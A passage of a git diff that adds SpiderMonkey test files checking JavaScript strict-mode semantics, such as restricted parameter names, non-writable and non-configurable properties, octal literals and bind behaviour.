+ true);
+assertEq(testLenientAndStrict('(function f(arguments){})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f([arguments]){})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f({x:arguments}){})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function arguments(){})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f(arguments){"use strict";})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f([arguments]){"use strict";})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f({x:arguments}){"use strict";})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function arguments(){"use strict";})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f(arguments) {})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f([arguments]) {})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f({x:arguments}) {})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function arguments() {})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('({set x(arguments){}})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('({set x([arguments]){}})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('({set x({x:arguments}){}})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('({set x(arguments){"use strict";}})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('({set x([arguments]){"use strict";}})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('({set x({x:arguments}){"use strict";}})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+
+/*
+ * Functions produced using the Function constructor may not use
+ * 'eval' or 'arguments' as a parameter name if their body is strict
+ * mode code. The strictness of the calling code does not affect the
+ * constraints applied to the parameters.
+ */
+assertEq(testLenientAndStrict('Function("eval","")',
+ completesNormally,
+ completesNormally),
+ true);
+assertEq(testLenientAndStrict('Function("eval","\'use strict\';")',
+ raisesException(SyntaxError),
+ raisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('Function("arguments","")',
+ completesNormally,
+ completesNormally),
+ true);
+assertEq(testLenientAndStrict('Function("arguments","\'use strict\';")',
+ raisesException(SyntaxError),
+ raisesException(SyntaxError)),
+ true);
+
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/15.10.7.js b/js/src/tests/non262/strict/15.10.7.js
new file mode 100644
index 0000000000..5f1d4fa9fd
--- /dev/null
+++ b/js/src/tests/non262/strict/15.10.7.js
@@ -0,0 +1,15 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(testLenientAndStrict('var r = /foo/; r.lastIndex = 42; r.lastIndex',
+ returns(42), returns(42)),
+ true);
+assertEq(testLenientAndStrict('var r = /foo/; delete r.lastIndex',
+ returns(false), raisesException(TypeError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/15.3.4.5.js b/js/src/tests/non262/strict/15.3.4.5.js
new file mode 100644
index 0000000000..bc93bb67ae
--- /dev/null
+++ b/js/src/tests/non262/strict/15.3.4.5.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function strict() { 'use strict'; return this; }
+function lenient() { return this; }
+var obj = {};
+
+assertEq(strict.bind(true)(), true);
+assertEq(strict.bind(42)(), 42);
+assertEq(strict.bind("")(), "");
+assertEq(strict.bind(null)(), null);
+assertEq(strict.bind(undefined)(), undefined);
+assertEq(strict.bind(obj)(), obj);
+
+assertEq(lenient.bind(true)() instanceof Boolean, true);
+assertEq(lenient.bind(42)() instanceof Number, true);
+assertEq(lenient.bind("")() instanceof String, true);
+assertEq(lenient.bind(null)(), this);
+assertEq(lenient.bind(undefined)(), this);
+assertEq(lenient.bind(obj)(), obj);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/15.3.5.1.js b/js/src/tests/non262/strict/15.3.5.1.js
new file mode 100644
index 0000000000..163928ee41
--- /dev/null
+++ b/js/src/tests/non262/strict/15.3.5.1.js
@@ -0,0 +1,16 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function fn() {
+ return function(a, b, c) { };
+}
+
+assertEq(testLenientAndStrict('var f = fn(); f.length = 1; f.length',
+ returns(3), raisesException(TypeError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/15.3.5.2.js b/js/src/tests/non262/strict/15.3.5.2.js
new file mode 100644
index 0000000000..3106a09853
--- /dev/null
+++ b/js/src/tests/non262/strict/15.3.5.2.js
@@ -0,0 +1,16 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function fn() {
+ return function(a, b, c) { };
+}
+
+assertEq(testLenientAndStrict('var f = fn(); delete f.prototype',
+ returns(false), raisesException(TypeError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/15.4.4.11.js b/js/src/tests/non262/strict/15.4.4.11.js
new file mode 100644
index 0000000000..a4c38faa7a
--- /dev/null
+++ b/js/src/tests/non262/strict/15.4.4.11.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function arr() {
+ return Object.defineProperty([20, 10, 30], 0, {writable: false});
+}
+
+assertEq(testLenientAndStrict('var a = arr(); a.sort()',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+function obj() {
+ var o = {0: 20, 1: 10, 2: 30, length: 3};
+ Object.defineProperty(o, 0, {writable: false});
+ return o;
+}
+
+assertEq(testLenientAndStrict('var o = obj(); Array.prototype.sort.call(o)',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+// The behavior of sort is implementation-defined if the object being
+// sorted is sparse, so I'm not sure how to test its behavior on
+// non-configurable properties.
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/15.4.4.12.js b/js/src/tests/non262/strict/15.4.4.12.js
new file mode 100644
index 0000000000..5b98c8a717
--- /dev/null
+++ b/js/src/tests/non262/strict/15.4.4.12.js
@@ -0,0 +1,50 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function arr() {
+ return Object.defineProperty([1, 2, 3], 0, {writable: false});
+}
+
+function obj() {
+ var o = {0: 1, 1: 2, 2: 3, length: 3};
+ Object.defineProperty(o, 0, {writable: false});
+ return o;
+}
+
+assertEq(testLenientAndStrict('var a = arr(); [a.splice(0, 1), a]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('var o = obj(); [Array.prototype.splice.call(o, 0, 1), o]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+function agap() {
+ var a = [1, 2, , 4];
+ Object.defineProperty(a, 1, {configurable: false});
+ return a;
+}
+
+function ogap() {
+ var o = {0: 1, 1: 2, /* no 2 */ 3: 4, length: 4};
+ Object.defineProperty(o, 1, {configurable: false});
+ return o;
+}
+
+assertEq(testLenientAndStrict('var a = agap(); [a.splice(0, 1), a]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('var o = ogap(); [Array.prototype.splice.call(o, 0, 1), o]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/15.4.4.13.js b/js/src/tests/non262/strict/15.4.4.13.js
new file mode 100644
index 0000000000..05d757aea7
--- /dev/null
+++ b/js/src/tests/non262/strict/15.4.4.13.js
@@ -0,0 +1,50 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function arr() {
+ return Object.defineProperty([1, 2, 3], 0, {writable: false});
+}
+
+function obj() {
+ var o = {0: 1, 1: 2, 2: 3, length: 3};
+ Object.defineProperty(o, 0, {writable: false});
+ return o;
+}
+
+assertEq(testLenientAndStrict('var a = arr(); [a.unshift(40, 50), a]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('var o = obj(); [Array.prototype.unshift.call(o, 40, 50), o]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+function agap() {
+ var a = [1, 2, , 4];
+ Object.defineProperty(a, 3, {configurable: false});
+ return a;
+}
+
+function ogap() {
+ var o = {0: 1, 1: 2, /* no 2 */ 3: 4, length: 4};
+ Object.defineProperty(o, 3, {configurable: false});
+ return o;
+}
+
+assertEq(testLenientAndStrict('var a = agap(); [a.unshift(9), a]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('var o = ogap(); [Array.prototype.unshift.call(o, 9), o]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/15.4.4.6.js b/js/src/tests/non262/strict/15.4.4.6.js
new file mode 100644
index 0000000000..2625f1ba91
--- /dev/null
+++ b/js/src/tests/non262/strict/15.4.4.6.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function arr() {
+ return Object.defineProperty([1, 2, 3], 2, {configurable: false});
+}
+
+function obj() {
+ var o = {0: 1, 1: 2, 2: 3, length: 3};
+ Object.defineProperty(o, 2, {configurable: false});
+ return o;
+}
+
+assertEq(testLenientAndStrict('var a = arr(); [a.pop(), a]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('var o = obj(); [Array.prototype.pop.call(o), o]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/15.4.4.8.js b/js/src/tests/non262/strict/15.4.4.8.js
new file mode 100644
index 0000000000..6768714057
--- /dev/null
+++ b/js/src/tests/non262/strict/15.4.4.8.js
@@ -0,0 +1,50 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function arr() {
+ return Object.defineProperty([1, 2, 3], 0, {writable: false});
+}
+
+function obj() {
+ var o = {0: 1, 1: 2, 2: 3, length: 3};
+ Object.defineProperty(o, 0, {writable: false});
+ return o;
+}
+
+assertEq(testLenientAndStrict('var a = arr(); a.reverse()',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('var o = obj(); Array.prototype.reverse.call(o)',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+function agap() {
+ var a = [1, 2, , 4];
+ Object.defineProperty(a, 1, {configurable: false});
+ return a;
+}
+
+function ogap() {
+ var o = {0: 1, 1: 2, /* no 2 */ 3: 4, length: 4};
+ Object.defineProperty(o, 1, {configurable: false});
+ return o;
+}
+
+assertEq(testLenientAndStrict('var a = agap(); a.reverse()',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('var o = ogap(); Array.prototype.reverse.call(o)',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/15.4.4.9.js b/js/src/tests/non262/strict/15.4.4.9.js
new file mode 100644
index 0000000000..4d08fe98f9
--- /dev/null
+++ b/js/src/tests/non262/strict/15.4.4.9.js
@@ -0,0 +1,50 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function arr() {
+ return Object.defineProperty([10, 20, 30], 0, {writable: false});
+}
+
+function obj() {
+ var o = {0: 10, 1: 20, 2: 30, length: 3};
+ Object.defineProperty(o, 0, {writable: false});
+ return o;
+}
+
+assertEq(testLenientAndStrict('var a = arr(); [a.shift(), a]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('var o = obj(); [Array.prototype.shift.call(o), o]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+function agap() {
+ var a = [1, 2, , 4];
+ Object.defineProperty(a, 1, {configurable: false});
+ return a;
+}
+
+function ogap() {
+ var o = {0: 1, 1: 2, /* no 2 */ 3: 4, length: 4};
+ Object.defineProperty(o, 1, {configurable: false});
+ return o;
+}
+
+assertEq(testLenientAndStrict('var a = agap(); [a.shift(), a]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('var o = ogap(); [Array.prototype.shift.call(o), o]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/15.4.5.1.js b/js/src/tests/non262/strict/15.4.5.1.js
new file mode 100644
index 0000000000..3fb04ebd61
--- /dev/null
+++ b/js/src/tests/non262/strict/15.4.5.1.js
@@ -0,0 +1,84 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var out = {};
+
+function arr() {
+ return Object.defineProperty([1, 2, 3, 4], 2, {configurable: false});
+}
+
+function nonStrict1(out)
+{
+ var a = out.array = arr();
+ a.length = 2;
+}
+
+function strict1(out)
+{
+ "use strict";
+ var a = out.array = arr();
+ a.length = 2;
+ return a;
+}
+
+out.array = null;
+nonStrict1(out);
+assertEq(deepEqual(out.array, [1, 2, 3]), true);
+
+out.array = null;
+try
+{
+ strict1(out);
+ throw "no error";
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true, "expected TypeError, got " + e);
+}
+assertEq(deepEqual(out.array, [1, 2, 3]), true);
+
+// Internally, SpiderMonkey has two representations for arrays:
+// fast-but-inflexible, and slow-but-flexible. Adding a non-index property
+// to an array turns it into the latter. We should test on both kinds.
+function addx(obj) {
+ obj.x = 5;
+ return obj;
+}
+
+function nonStrict2(out)
+{
+ var a = out.array = addx(arr());
+ a.length = 2;
+}
+
+function strict2(out)
+{
+ "use strict";
+ var a = out.array = addx(arr());
+ a.length = 2;
+}
+
+out.array = null;
+nonStrict2(out);
+assertEq(deepEqual(out.array, addx([1, 2, 3])), true);
+
+out.array = null;
+try
+{
+ strict2(out);
+ throw "no error";
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true, "expected TypeError, got " + e);
+}
+assertEq(deepEqual(out.array, addx([1, 2, 3])), true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/strict/15.5.5.1.js b/js/src/tests/non262/strict/15.5.5.1.js
new file mode 100644
index 0000000000..f07828eb5c
--- /dev/null
+++ b/js/src/tests/non262/strict/15.5.5.1.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function str() {
+ return new String("foo");
+}
+
+assertEq(testLenientAndStrict('var s = str(); s.length = 1; s.length',
+ returns(3), raisesException(TypeError)),
+ true);
+assertEq(testLenientAndStrict('var s = str(); delete s.length',
+ returns(false), raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('"foo".length = 1',
+ returns(1), raisesException(TypeError)),
+ true);
+assertEq(testLenientAndStrict('delete "foo".length',
+ returns(false), raisesException(TypeError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/15.5.5.2.js b/js/src/tests/non262/strict/15.5.5.2.js
new file mode 100644
index 0000000000..fa2c9231f1
--- /dev/null
+++ b/js/src/tests/non262/strict/15.5.5.2.js
@@ -0,0 +1,15 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(testLenientAndStrict('"foo"[0] = 1',
+ returns(1), raisesException(TypeError)),
+ true);
+assertEq(testLenientAndStrict('delete "foo"[0]',
+ returns(false), raisesException(TypeError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/8.12.5.js b/js/src/tests/non262/strict/8.12.5.js
new file mode 100644
index 0000000000..c351c19c3f
--- /dev/null
+++ b/js/src/tests/non262/strict/8.12.5.js
@@ -0,0 +1,82 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function obj() {
+ var o = {all: 1, nowrite: 1, noconfig: 1, noble: 1};
+ Object.defineProperty(o, 'nowrite', {writable: false});
+ Object.defineProperty(o, 'noconfig', {configurable: false});
+ Object.defineProperty(o, 'noble', {writable: false, configurable: false});
+ return o;
+}
+
+assertEq(testLenientAndStrict('var o = obj(); o.all = 2; o.all',
+ returns(2), returns(2)),
+ true);
+
+assertEq(testLenientAndStrict('var o = obj(); o.nowrite = 2; o.nowrite',
+ returns(1), raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('var o = obj(); o.noconfig = 2; o.noconfig',
+ returns(2), returns(2)),
+ true);
+
+assertEq(testLenientAndStrict('var o = obj(); o.noble = 2; o.noble',
+ returns(1), raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('obj().nowrite++',
+ returns(1), raisesException(TypeError)),
+ true);
+assertEq(testLenientAndStrict('++obj().nowrite',
+ returns(2), raisesException(TypeError)),
+ true);
+assertEq(testLenientAndStrict('obj().nowrite--',
+ returns(1), raisesException(TypeError)),
+ true);
+assertEq(testLenientAndStrict('--obj().nowrite',
+ returns(0), raisesException(TypeError)),
+ true);
+
+
+function arr() {
+ return Object.defineProperties([1, 1, 1, 1],
+ { 1: { writable: false },
+ 2: { configurable: false },
+ 3: { writable: false, configurable: false }});
+}
+
+assertEq(testLenientAndStrict('var a = arr(); a[0] = 2; a[0]',
+ returns(2), returns(2)),
+ true);
+
+assertEq(testLenientAndStrict('var a = arr(); a[1] = 2; a[1]',
+ returns(1), raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('var a = arr(); a[2] = 2; a[2]',
+ returns(2), returns(2)),
+ true);
+
+assertEq(testLenientAndStrict('var a = arr(); a[3] = 2; a[3]',
+ returns(1), raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('arr()[1]++',
+ returns(1), raisesException(TypeError)),
+ true);
+assertEq(testLenientAndStrict('++arr()[1]',
+ returns(2), raisesException(TypeError)),
+ true);
+assertEq(testLenientAndStrict('arr()[1]--',
+ returns(1), raisesException(TypeError)),
+ true);
+assertEq(testLenientAndStrict('--arr()[1]',
+ returns(0), raisesException(TypeError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/8.12.7-2.js b/js/src/tests/non262/strict/8.12.7-2.js
new file mode 100644
index 0000000000..2fd4dbae38
--- /dev/null
+++ b/js/src/tests/non262/strict/8.12.7-2.js
@@ -0,0 +1,21 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+// delete o[p] only performs ToString(p) once, even if there's a strict error.
+var hits = 0;
+var p = {
+ toString: function () {
+ hits++;
+ return "noconfig";
+ }
+};
+assertEq(testLenientAndStrict('var o = Object.freeze({noconfig: "ow"}); delete o[p]',
+ returns(false), raisesException(TypeError)),
+ true);
+assertEq(hits, 2);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/8.12.7.js b/js/src/tests/non262/strict/8.12.7.js
new file mode 100644
index 0000000000..518adc799d
--- /dev/null
+++ b/js/src/tests/non262/strict/8.12.7.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function setup() {
+ var o = {all: 1, nowrite: 1, noconfig: 1, noble: 1};
+ Object.defineProperty(o, 'nowrite', {writable: false});
+ Object.defineProperty(o, 'noconfig', {configurable: false});
+ Object.defineProperty(o, 'noble', {writable: false, configurable: false});
+ return o;
+}
+
+assertEq(testLenientAndStrict('var o = setup(); delete o.all',
+ returns(true), returns(true)),
+ true);
+
+assertEq(testLenientAndStrict('var o = setup(); delete o.nowrite',
+ returns(true), returns(true)),
+ true);
+
+assertEq(testLenientAndStrict('var o = setup(); delete o.noconfig',
+ returns(false), raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('var o = setup(); delete o.noble',
+ returns(false), raisesException(TypeError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/8.7.2-01.js b/js/src/tests/non262/strict/8.7.2-01.js
new file mode 100644
index 0000000000..8e1d76106b
--- /dev/null
+++ b/js/src/tests/non262/strict/8.7.2-01.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/* Check that assignment to a let-bound variable is permitted in both lenient and strict modes. */
+
+/* Assigning to a let-declared variable is okay in strict and loose modes. */
+assertEq(testLenientAndStrict('let let_declared; let_declared=1',
+ completesNormally,
+ completesNormally),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/8.7.2.js b/js/src/tests/non262/strict/8.7.2.js
new file mode 100644
index 0000000000..76b474cd71
--- /dev/null
+++ b/js/src/tests/non262/strict/8.7.2.js
@@ -0,0 +1,56 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * These tests depend on the fact that testLenientAndStrict tries the
+ * strict case first; otherwise, the non-strict evaluation creates the
+ * variable. Ugh. Ideally, we would use evalcx, but that's not
+ * available in the browser.
+ */
+
+/* Assigning to an undeclared variable should fail in strict mode. */
+assertEq(testLenientAndStrict('undeclared=1',
+ completesNormally,
+ raisesException(ReferenceError)),
+ true);
+
+/*
+ * Assigning to a var-declared variable should be okay in strict and
+ * lenient modes.
+ */
+assertEq(testLenientAndStrict('var var_declared; var_declared=1',
+ completesNormally,
+ completesNormally),
+ true);
+
+/*
+ * We mustn't report errors until the code is actually run; the variable
+ * could be created in the mean time.
+ */
+assertEq(testLenientAndStrict('undeclared_at_compiletime=1',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+function obj() {
+ var o = { x: 1, y: 1 };
+ Object.defineProperty(o, 'x', { writable: false });
+ return o;
+}
+
+/* Put EXPR in a strict mode code context with 'with' bindings in scope. */
+function in_strict_with(expr) {
+ return "with(obj()) { (function () { 'use strict'; " + expr + " })(); }";
+}
+
+assertEq(raisesException(TypeError)(in_strict_with('x = 2; y = 2;')), true);
+assertEq(raisesException(TypeError)(in_strict_with('x++;')), true);
+assertEq(raisesException(TypeError)(in_strict_with('++x;')), true);
+assertEq(raisesException(TypeError)(in_strict_with('x--;')), true);
+assertEq(raisesException(TypeError)(in_strict_with('--x;')), true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/B.1.1.js b/js/src/tests/non262/strict/B.1.1.js
new file mode 100644
index 0000000000..cf36711dce
--- /dev/null
+++ b/js/src/tests/non262/strict/B.1.1.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/* Octal integer literal at top level. */
+assertEq(testLenientAndStrict('010',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+/* Octal integer literal in strict function body */
+assertEq(parseRaisesException(SyntaxError)
+ ('function f() { "use strict"; 010; }'),
+ true);
+
+
+/*
+ * Octal integer literal after strict function body (restoration of
+ * scanner state)
+ */
+assertEq(parsesSuccessfully('function f() { "use strict"; }; 010'),
+ true);
+
+/* Octal integer literal in function body */
+assertEq(parsesSuccessfully('function f() { 010; }'),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/B.1.2.js b/js/src/tests/non262/strict/B.1.2.js
new file mode 100644
index 0000000000..b44108fe13
--- /dev/null
+++ b/js/src/tests/non262/strict/B.1.2.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(testLenientAndStrict('"\\010"',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+assertEq(testLenientAndStrict('"\\00"',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+assertEq(testLenientAndStrict('"\\1"',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+assertEq(testLenientAndStrict('"\\08"',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+assertEq(testLenientAndStrict('"\\0"',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('"\\0x"',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/assign-to-callee-name.js b/js/src/tests/non262/strict/assign-to-callee-name.js
new file mode 100644
index 0000000000..3c2efba2e2
--- /dev/null
+++ b/js/src/tests/non262/strict/assign-to-callee-name.js
@@ -0,0 +1,42 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'assign-to-callee-name.js';
+var BUGNUMBER = 610350;
+var summary =
+ "Assigning to a function expression's name within that function should " +
+ "throw a TypeError in strict mode code";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var f = function assignSelfStrict() { "use strict"; assignSelfStrict = 12; };
+
+try
+{
+ var r = f();
+ throw new Error("should have thrown a TypeError, returned " + r);
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "didn't throw a TypeError: " + e);
+}
+
+var assignSelf = 42;
+var f2 = function assignSelf() { assignSelf = 12; };
+
+f2(); // shouldn't throw, does nothing
+assertEq(assignSelf, 42);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/strict/browser.js b/js/src/tests/non262/strict/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/strict/browser.js
diff --git a/js/src/tests/non262/strict/directive-prologue-01.js b/js/src/tests/non262/strict/directive-prologue-01.js
new file mode 100644
index 0000000000..681fa92933
--- /dev/null
+++ b/js/src/tests/non262/strict/directive-prologue-01.js
@@ -0,0 +1,78 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 601262;
+var summary =
+ "A string literal containing an octal escape before a strict mode " +
+ "directive should be a syntax error";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ eval(" '\\145'; 'use strict'; ");
+ throw new Error("no error thrown for eval");
+}
+catch (e)
+{
+ assertEq(e instanceof SyntaxError, true,
+ "wrong error for octal-escape before strict directive in eval");
+}
+
+try
+{
+ Function(" '\\145'; 'use strict'; ");
+ throw new Error("no error thrown for Function");
+}
+catch (e)
+{
+ assertEq(e instanceof SyntaxError, true,
+ "wrong error for octal-escape before strict directive in Function");
+}
+
+try
+{
+ eval(" function f(){ '\\145'; 'use strict'; } ");
+ throw new Error("no error thrown for eval of function");
+}
+catch (e)
+{
